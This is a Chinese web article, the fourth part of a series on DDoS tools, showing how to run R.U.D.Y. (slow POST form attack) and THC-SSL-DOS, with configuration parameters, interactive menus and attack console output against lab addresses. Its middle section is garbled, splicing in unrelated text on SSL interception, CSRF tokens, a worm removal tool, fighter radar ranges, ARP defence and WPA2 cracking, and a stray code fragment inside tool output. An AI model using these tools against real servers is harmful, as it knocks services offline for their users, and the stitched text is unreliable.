DDoS 攻击的工具(4)

[parameters]

URL:

number_of_connections: 500

attack_parameter: login

proxy_addr: ""

proxy_port: 0

在填写好相应的攻击参数后，即可直接开始攻击。

[root@Fedora rudy]# ./r-u-dead-yet-v2.2.py

[!] Using configuration file

[!] Attacking:

[!] With parameter: ls_username

2、交互式菜单

R.U.D.Y.还可以通过智能的交互控制菜单来运行。它会自动探测并列出给定URL的可用攻击表单，用户只需简单选择即可。

[root@Fedora rudy]# ./r-u-dead-yet-v2.2.py

Found 2 forms to submit. Please select number of form to use:

if("login".equals(action)){ // 如果为login动作。action=rp&key=$key&login=” . rawurlencode($user_login), ‘login’) . “>\r\n”。action=rp&key=$key&login=” . rawurlencode($user_login), ‘login’) . “\r\n”。

2 ) ?searchsubmit=yes

> 1

Found 4 parameters to attack. Please select number of parameter to use:

1 ) ls_username

2 ) ls_password

3 ) quickforward

4 ) handlekey

> 4

Number of connections to spawn: (default=50)

>

Use SOCKS proxy? [yes/no] (Default=no)

>

与Slowloris相比，R.U.D.Y.能够对所有类型的Web服务端软件造成影响，因此其攻击的威胁更大。

（三）THC SSL DOS

以下引用longas原话： 其实基于证书的攻击基本原理是这样的：合法客户端向网站发出ssl请求时，黑客截获了这个请求，将其改成自己发出的，然后发给网站，网站收到后，会与黑客的计算机协商ssl加密级别，此时两者之间的加密是正常的，而黑客在与网站交互的同时，记录下对方的证书类型及算法，并使用同样的算法伪造了证书，将这一伪造证书发给了客户端，此时，客户端以为自己在和网站交互，实际上是在和黑客的机器交互。可以在 http 请求中以参数的形式加入一个随机产生的 token，并在服务器端建立一个来验证这个 token，如果请求中没有 token 或者 token 内容不正确，则认为可能是 csrf 攻击而拒绝该请求。爱情后门病毒专杀工具 v3.5介绍： 新版增加了新的worm.lovgate病毒变种：worm.lovgate.fa，worm.lovgate.s 该病毒集蠕虫、后门、黑客于一身，通过病毒邮件进行邮件传播，通过建立后门给用户的计算机建立一个泄密通道，通过放出后门程序与外界远程木马沟通，通过放出盗窃密码程序主动盗窃计算机密码，通过远程疯狂传播局域网，最终导致所有计算机用户受到病毒控制，网络瘫痪、信息泄露等严重后果。

（也就是说对f22的发现距离在90公里左右，那么推测跟踪锁定f35/f22的距离在70到80公里左右，这和su30对f16的锁定探测距离是相当的）在边扫边跟的对空模式时，该雷达可同时跟踪30个目标，并同时导引2枚半主动雷达制导空空导弹攻击2个目标，或同时制导8枚主动雷达制导空空导弹攻击8个目标。安装并运行“聚生网管”程序后并运行，在其主界面中点击“安全防御”-“安全检测工具”，并在弹出的窗口中开启“启用局域网arp攻击预防功能”项，同进还可以有选择性的开启“检测到arp攻击 时，自动加大防御力度”和“检测arp攻击后，记录相应的主机信息”项，从而实现arp防御及追踪功能。对于启用wpa2-psk加密的无线网络，其攻击和破解步骤及工具是完全一样的，不同的是，在使用airodump-ng进行无线探测的界面上，会提示为wpa ccmp psk。

D:thc-ssl-dos>thc-ssl-dos.exe --accept 192.168.65.160 443

______________ ___ _________

__ ___/ | _ ___

| | / ~ / /

| | Y / ____

|____| ___|_ / ______ /

/ /

Twitter @hackerschoice

Greetingz: the french underground

Waiting for kiddies to piss off................

The force is with those who read the source...

Handshakes 0 [0.00 h/s], 1 Conn, 0 Err

Handshakes 46 [86.63 h/s], 88 Conn, 0 Err

Handshakes 151 [105 h/s], 162 Conn, 0 Err

Handshakes 187 [35.43 h/s], 191 Conn, 0 Err

Handshakes 206 [19.00 h/s], 203 Conn, 0 Err

Handshakes 250 [44.00 h/s], 222 Conn, 0 Err

Handshakes 270 [19.70 h/s], 237 Conn, 0 Err

Handshakes 302 [32.00 h/s], 253 Conn, 0 Err

而如果目标禁用或启用安全的renegotiation，则会提示攻击失败。

D:thc-ssl-dos>thc-ssl-dos.exe --accept 192.168.65.100 443

______________ ___ _________

__ ___/ | _ ___

| | / ~ / /

| | Y / ____

|____| ___|_ / ______ /

/ /

Twitter @hackerschoice

Greetingz: the french underground

Waiting for kiddies to piss off................

The force is with those who read the source...

Handshakes 0 [0.00 h/s], 1 Conn, 0 Err

Handshakes 0 [0.00 h/s], 7 Conn, 0 Err

Handshakes 0 [0.00 h/s], 71 Conn, 0 Err

Handshakes 0 [0.00 h/s], 83 Conn, 0 Err

ERROR: Target has disabled renegotiations.

Ask THC (members@thc.org) for the private release of this tool

to test/attack the target.

利用THC SSL DOS工具，一台性能和带宽中等的主机就可以挑战高性能服务器，攻击效果非常明显。

四、结语

本文对9种常见的DDoS攻击工具及其基本用法进行了介绍。介绍的工具大多是“绿色”的，下载解压就可以执行，不需要安装，这对工具的传播提供了很大的便利条件。此外，这些工具在保持攻击威力不断增强的同时，易用性方面也在不断提高，免费和开源降低了下载和使用工具的门槛，这对黑客行动主义更是推波助澜。这些因素的叠加，极大地促进了类似Anonymous这样的黑客组织快速发展和壮大。随着攻防对抗的升级，工具的智能化进程不会停止。

声明：该文观点仅代表作者本人，搜狐号系信息发布平台，搜狐仅提供信息存储空间服务。

本文来自电脑杂谈，转载请注明本文网址：
https://www.pc-fly.com/a/jisuanjixue/article-98231-4.html